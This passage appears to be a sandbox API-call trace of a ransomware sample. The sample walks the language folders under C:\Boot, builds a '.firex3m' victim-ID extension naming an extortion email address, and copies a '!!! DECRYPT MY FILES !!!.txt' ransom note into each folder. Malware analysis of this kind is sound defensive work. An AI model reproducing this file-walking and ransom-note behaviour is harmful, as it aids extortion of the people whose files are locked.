[0103.140] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0103.140] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui", len=0x22 | out: pbstr=0x6ebf398*="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui") returned 1 [0103.140] CharLowerBuffW (in: lpsz="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui", cchLength=0x22 | out: lpsz="c:\\boot\\sr-latn-rs\\bootmgr.exe.mui") returned 0x22 [0103.140] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.140] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.140] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.140] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.140] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0103.141] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0103.141] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0103.141] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\sv-SE\\", len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\sv-SE\\") returned 1 [0103.141] CharLowerBuffW (in: lpsz="C:\\Boot\\sv-SE\\", cchLength=0xe | out: lpsz="c:\\boot\\sv-se\\") returned 0xe [0103.141] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0103.141] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0103.141] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5380 [0103.142] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.145] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0103.145] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\sv-SE\\bootmgr.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 1 [0103.145] CharLowerBuffW (in: lpsz="C:\\Boot\\sv-SE\\bootmgr.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\sv-se\\bootmgr.exe.mui") returned 0x1d [0103.145] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.145] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.146] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.146] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.146] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0103.146] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\sv-se\\bootmgr.exe.mui", psz="C:\\Boot\\sv-SE\\memtest.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\sv-SE\\memtest.exe.mui") returned 1 [0103.146] CharLowerBuffW (in: lpsz="C:\\Boot\\sv-SE\\memtest.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\sv-se\\memtest.exe.mui") returned 0x1d [0103.146] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.146] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.146] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.146] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.146] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0103.146] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0103.147] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x6ebf298, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5580 [0103.147] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0103.147] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Boot\\sv-SE\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\boot\\sv-se\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0103.156] GetProcessHeap () returned 0x630000 [0103.156] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b12f8 [0103.156] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0103.156] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0103.156] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0103.156] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\tr-TR\\", len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\tr-TR\\") returned 1 [0103.156] CharLowerBuffW (in: lpsz="C:\\Boot\\tr-TR\\", cchLength=0xe | out: lpsz="c:\\boot\\tr-tr\\") returned 0xe [0103.156] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0103.156] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0103.156] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4f00 [0103.157] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.157] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0103.157] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\tr-TR\\bootmgr.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 1 [0103.157] CharLowerBuffW (in: lpsz="C:\\Boot\\tr-TR\\bootmgr.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\tr-tr\\bootmgr.exe.mui") returned 0x1d [0103.157] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.157] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.157] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.157] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.157] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0103.158] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\boot\\tr-tr\\bootmgr.exe.mui", psz="C:\\Boot\\tr-TR\\memtest.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\tr-TR\\memtest.exe.mui") returned 1 [0103.158] CharLowerBuffW (in: lpsz="C:\\Boot\\tr-TR\\memtest.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\tr-tr\\memtest.exe.mui") returned 0x1d [0103.158] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.158] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.158] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.158] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.158] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0103.158] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0103.158] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xc495eef9, dwReserved1=0x1d32764, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d4e40 [0103.158] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0103.158] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Boot\\tr-TR\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\boot\\tr-tr\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0103.163] GetProcessHeap () returned 0x630000 [0103.163] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b12f8, Size=0x10) returned 0x6b1418 [0103.163] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0103.163] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0103.163] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0103.163] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\uk-UA\\", len=0xe | out: pbstr=0x6ebf3a0*="C:\\Boot\\uk-UA\\") returned 1 [0103.163] CharLowerBuffW (in: lpsz="C:\\Boot\\uk-UA\\", cchLength=0xe | out: lpsz="c:\\boot\\uk-ua\\") returned 0xe [0103.163] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0103.163] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0103.164] FindFirstFileW (in: lpFileName="C:\\Boot\\uk-UA\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5380 [0103.167] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.167] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0103.167] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\Boot\\uk-UA\\bootmgr.exe.mui", len=0x1d | out: pbstr=0x6ebf398*="C:\\Boot\\uk-UA\\bootmgr.exe.mui") returned 1 [0103.167] CharLowerBuffW (in: lpsz="C:\\Boot\\uk-UA\\bootmgr.exe.mui", cchLength=0x1d | out: lpsz="c:\\boot\\uk-ua\\bootmgr.exe.mui") returned 0x1d [0103.167] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.167] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.167] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.167] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.167] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0103.168] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0103.168] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x0, dwReserved1=0x0, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1 [0103.168] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\boot\\memtest.exe", psz="C:\\Boot\\updaterevokesipolicy.p7b", len=0x20 | out: pbstr=0x6ebf660*="C:\\Boot\\updaterevokesipolicy.p7b") returned 1 [0103.168] CharLowerBuffW (in: lpsz="C:\\Boot\\updaterevokesipolicy.p7b", cchLength=0x20 | out: lpsz="c:\\boot\\updaterevokesipolicy.p7b") returned 0x20 [0103.168] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.168] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.168] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.168] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.168] GetProcessHeap () returned 0x630000 [0103.168] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1418 [0103.168] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0103.169] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\Boot\\zh-CN\\", 